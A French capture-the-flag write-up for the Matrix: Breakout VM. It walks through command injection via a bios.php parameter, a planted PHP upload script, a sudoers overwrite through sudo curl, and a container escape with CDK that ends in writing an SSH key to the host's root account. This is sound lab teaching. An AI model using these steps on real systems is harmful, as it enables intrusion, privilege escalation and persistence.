Accueil Solution du CTF Matrix: Breakout
Post
Annuler

Solution du CTF Matrix: Breakout

Après avoir résolu Matrix-Breakout: 2 Morpheus je me suis mis à la recherche du premier CTF de la série qui n’était pas disponible sur VulnHub.

Je l’ai retrouvé via cet article : [Linux Attack & Defense: Matrix Breakout EditionBeyondTrust - REAL security](https://www.real-sec.com/2022/07/linux-attack-defense-matrix-breakout-edition-beyondtrust/)

Voici le lien direct pour l’image virtuelle : https://matrix-breakout-inguardians.sfo2.digitaloceanspaces.com/matrix-breakout.ova

1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 192.168.242.130
Host is up (0.00060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 05534d5565d198e088a6d7fbf0818a73 (RSA)
|   256 ac626864db6b6596a374ed9d586c78a5 (ECDSA)
|_  256 50f8a5322c6afc4c735edf63ba43972b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Matrix: Breakout
|_http-server-header: Apache/2.4.52 (Ubuntu)

La page d’index est statique et ne donne aucune information intéressante. Il aura fallut énumérer un petit moment avant d’obtenir quelque chose d’intéressant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ feroxbuster -u http://192.168.242.130/ -w /tools/DirBuster-0.12/directory-list-2.3-big.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.242.130/
 🚀  Threads               │ 50
 📖  Wordlist              │ /tools/DirBuster-0.12/directory-list-2.3-big.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.0
 💲  Extensions            │ [php, html, htm, txt, zip]
 🚫  Do Not Recurse        │ true
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200       17l       35w      398c http://192.168.242.130/index.html
301        9l       28w      317c http://192.168.242.130/bios
200       22l       44w      591c http://192.168.242.130/bios.php
403        9l       28w      280c http://192.168.242.130/server-status

It was you RCE !

Dans le dossier bios on trouve différents fichiers sans extension. Il y a par exemple les fichiers berg, bugs, lexy, etc.

Le contenu de ces fichiers est un copier / coller de ce qui peut se trouver sur un wiki spécialisé dans la saga Matrix.

Le script bios.php permet de sélectionner un des personnage depuis une liste et le contenu du fichier correspondant (chargé depuis le dossier bios) est alors affiché :

1
2
3
4
5
6
7
8
9
10
11
12
Which crew member's bio would you like to see?

<form action="/bios.php" method="get">
<select name="bio">
  <option value="">Select...</option>
  <option value="lexy">Lexy</option>
  <option value="berg">Berg</option>
  <option value="bugs">Bugs</option>
  <option value="morpheus">Morpheus</option>
  <option value="seek">Seek</option>
</select>
<input type="submit" name="submit" value="submit" />

J’ai immédiatement pensé à une faille de directory traversal alors j’ai modifié l’URL pour tenter de charger /etc/passwd.

J’ai alors eu :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
--- snip ---
<input type="submit" name="submit" value="submit" />

</p><p><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>
</body>
</html>

On voit ici qu’on a a un message d’erreur 404 intégré au reste de la page. On est donc plus sur un cas de SSRF (Server Side Request Forgery).

En jouant avec le paramètre j’ai assez vite compris qu’on ne pouvait pas vraiment passer ce qu’on voulait : on obtient toujours l’erreur 404 en provenance du serveur même si on demande une URL externe ce qui signifie que le serveur fait une concaténation du type :

1
$url = "http://127.0.0.1/bios/" + $_GET["bio"]

On a vu via l’énumération plus tôt que server-status est actif sur le serveur Apache. Si on passe ../server-status on peut alors afficher la page normalement accessible seulement depuis localhost.

Mon idée était qu’il y avait peut être une tache planifiée qui tape sur un path secret et qu’il fallait le récupérer de cette façon… mais rien n’est venu.

Il m’a fallut un petit moment pour comprendre que l’on était en réalité face à une vulnérabilité d’exécution de commande (RCE) toute bête qui exécute un curl sans que les données du paramètre ne soient échapés. Du coup en passant ;id; au paramètre bio j’obtiens ceci en fin de la page HTML :

1
2
3
4
5
<address>Apache/2.4.52 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>
uid=1000(trinity) gid=1000(trinity) groups=1000(trinity)
</body>
</html>

Récupérer un shell est alors assez simple, mis à part qu’il faut utiliser le port 80 pour les connexions sortantes.

Avec ce compte trinity j’obtiens le premier flag :

1
2
3
4
5
6
trinity@04584549e707:/$ cat FLAG-1.txt 
Flag{'trinity-must-escape-from-the-matrix'}

See if you can find your way to root for the next flag.

https://img.buzzfeed.com/buzzfeed-static/static/2021-12/23/17/asset/4ebab251a02a/sub-buzz-1655-1640279523-1.jpg

Afin de simplifier la suite j’ai déposé via encodage / décodage base64 le script PHP suivant pour uploader mes fichiers :

1
2
3
4
5
6
7
8
9
10
11
<?php
if(!empty($_FILES['uploaded_file']))
{
    $path = "/tmp/" . basename($_FILES['uploaded_file']['name']);
    if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
      echo "uploaded";
    } else{
        echo "error";
    }
}
?>

Il s’utilise de cette manière :

1
curl -F "uploaded_file=@linpeas.sh" http://192.168.242.130/bios/upload.php

Au vu du nom d’hôte (que l’on voit dans l’invite de commande) on sait que l’on est dans un environnement Docker. On le voit aussi par rapport à l’absence de nombreux outils standards.

Keep it simple stupid

L’utilisatrice peut exécuter curl en tant que root :

1
2
3
4
5
6
7
8
trinity@04584549e707:/tmp$ id
uid=1000(trinity) gid=1000(trinity) groups=1000(trinity)
trinity@04584549e707:/tmp$ sudo -l
Matching Defaults entries for trinity on 04584549e707:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trinity may run the following commands on 04584549e707:
    (ALL) NOPASSWD: /usr/bin/curl

Je ne me suis pas référé à GTFObins, je suis allé sur du très simple : utiliser curl pour lire et écrire des fichiers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
trinity@04584549e707:/tmp$ sudo /usr/bin/curl file:///etc/sudoers > sudoers_backup
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1713  100  1713    0     0  13.5M      0 --:--:-- --:--:-- --:--:-- 13.5M
trinity@04584549e707:/tmp$ echo "trinity ALL=(ALL) NOPASSWD: /usr/bin/bash" >> sudoers_backup
trinity@04584549e707:/tmp$ sudo /usr/bin/curl -s file:///tmp/sudoers_backup -o /etc/sudoers
trinity@04584549e707:/tmp$ sudo /usr/bin/bash
root@04584549e707:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@04584549e707:/tmp# cat /root/FLAG-2.txt 
Flag{'trinity-and-neo-reunited'}

You've made it to root, but you're in a container.  Can you break out?

https://www.nme.com/wp-content/uploads/2021/12/matrix-resurrections-2000x1270-1-1392x884.jpg

Sur ce container on ne trouve ni les exécutables Docker si le socket correspondant… C’est mal parti pour sortir du container.

J’ai uploadé un nmap-static-binaries histoire de voir si j’avais accès à des ports particuliers sur la machine hôte depuis le container mais rien de plus que je ne voyais déjà.

Here Comes a New Challenger

Finalement j’ai découvert CDK: 📦 Make security testing of K8s, Docker, and Containerd easier.. Il s’agit d’un outil d’exploitation pour s’échapper des containers.

J’ai joué un peu avec et j’ai finalement utilisé la commande auto-escape. Je pensais qu’elle me fournirait un shell directement mais elle permet en fait à injecter une commande dans la crontab :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
root@04584549e707:/tmp# ./cdk_linux_amd64 auto-escape /bin/sh       

[Auto Escape - Privileged Container]
2022/11/21 12:30:19 Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapAmb):
        CapInh: 0000003fffffffff
        CapPrm: 0000003fffffffff
        CapEff: 0000003fffffffff
        CapBnd: 0000003fffffffff
        CapAmb: 0000000000000000
        Cap decode: 0x0000003fffffffff = CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_DAC_READ_SEARCH,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_LINUX_IMMUTABLE,CAP_NET_BIND_SERVICE,CAP_NET_BROADCAST,CAP_NET_ADMIN,CAP_NET_RAW,CAP_IPC_LOCK,CAP_IPC_OWNER,CAP_SYS_MODULE,CAP_SYS_RAWIO,CAP_SYS_CHROOT,CAP_SYS_PTRACE,CAP_SYS_PACCT,CAP_SYS_ADMIN,CAP_SYS_BOOT,CAP_SYS_NICE,CAP_SYS_RESOURCE,CAP_SYS_TIME,CAP_SYS_TTY_CONFIG,CAP_MKNOD,CAP_LEASE,CAP_AUDIT_WRITE,CAP_AUDIT_CONTROL,CAP_SETFCAP,CAP_MAC_OVERRIDE,CAP_MAC_ADMIN,CAP_SYSLOG,CAP_WAKE_ALARM,CAP_BLOCK_SUSPEND,CAP_AUDIT_READ
        Added capability list: CAP_DAC_READ_SEARCH,CAP_LINUX_IMMUTABLE,CAP_NET_BROADCAST,CAP_NET_ADMIN,CAP_IPC_LOCK,CAP_IPC_OWNER,CAP_SYS_MODULE,CAP_SYS_RAWIO,CAP_SYS_PTRACE,CAP_SYS_PACCT,CAP_SYS_ADMIN,CAP_SYS_BOOT,CAP_SYS_NICE,CAP_SYS_RESOURCE,CAP_SYS_TIME,CAP_SYS_TTY_CONFIG,CAP_LEASE,CAP_AUDIT_CONTROL,CAP_MAC_OVERRIDE,CAP_MAC_ADMIN,CAP_SYSLOG,CAP_WAKE_ALARM,CAP_BLOCK_SUSPEND,CAP_AUDIT_READ
[*] Maybe you can exploit the Capabilities below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
2022/11/21 12:30:19 starting to deploy exploit
{
  "device": "/dev/sda1",
  "mountpoint": "/etc/resolv.conf",
  "fstype": "ext4",
  "opts": [
    "rw",
    "relatime",
    "bind"
  ]
}
{
  "device": "/dev/sda1",
  "mountpoint": "/etc/hostname",
  "fstype": "ext4",
  "opts": [
    "rw",
    "relatime",
    "bind"
  ]
}
{
  "device": "/dev/sda1",
  "mountpoint": "/etc/hosts",
  "fstype": "ext4",
  "opts": [
    "rw",
    "relatime",
    "bind"
  ]
}
2022/11/21 12:30:19 found 1 devices in total.
success! device /dev/sda1 was mounted to /tmp/cdk_FJvUy

[/tmp/cdk_FJvUy]
2022/11/21 12:30:19 trying to write crontab to:  /tmp/cdk_FJvUy/etc/crontab
2022/11/21 12:30:19 exploit success, shellcodes wrote to:  /tmp/cdk_FJvUy/etc/crontab
2022/11/21 12:30:19 exploit only suitable for cgroup v1

[Auto Escape - Shared Net Namespace]
2022/11/21 12:30:19 Cannot find vulnerable containerd-shim socket.
2022/11/21 12:30:19 exploit failed.

[Auto Escape - docker.sock]
2022/11/21 12:30:19 err found while stat docker.sock path.:
stat /var/run/docker.sock: no such file or directory
2022/11/21 12:30:19 exploit failed

[Auto Escape - K8s API Server]
2022/11/21 12:30:19 checking if api-server allows system:anonymous request.
err found while searching local K8s apiserver addr.:
err: cannot find kubernetes api host in ENV
        api-server forbids anonymous request.
        response:
load K8s service account token error.:
open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory
2022/11/21 12:30:19 exploit failed
2022/11/21 12:30:19 all exploits are finished, auto exploit success!

Qu’importe, je vois que le système de fichier hôte a été monté sous /tmp/cdk_FJvUy, c’est bien suffisant pour arriver à mes fins :

1
root@04584549e707:/tmp# echo ssh-rsa --- snip ma clé publique ssh snip --- > /tmp/cdk_FJvUy/root/.ssh/authorized_keys

Je peux alors me connecter et obtenir le dernier flag :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ssh root@192.168.242.130
Enter passphrase for key '/home/devloop/.ssh/id_rsa': 
Linux debian 5.10.0-15-amd64 #1 SMP Debian 5.10.120-1 (2022-06-09) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 10 05:36:42 2022
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:~# ls
root@debian:~# ls /
FLAG-3.txt  bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
root@debian:~# cat /FLAG-3.txt 
Flag{'trinity-can-fly'}

https://cdn3.whatculture.com/images/2021/12/b11f3b3c4c428f5f-600x338.jpg

Thank you for playing! Looking forward to the write-ups!

- Jay (@jaybeale)

Un outil de liste à ajouter dans ma liste :)

Publié le 21 novembre 2022

Cet article est sous licence CC BY 4.0 par l'auteur.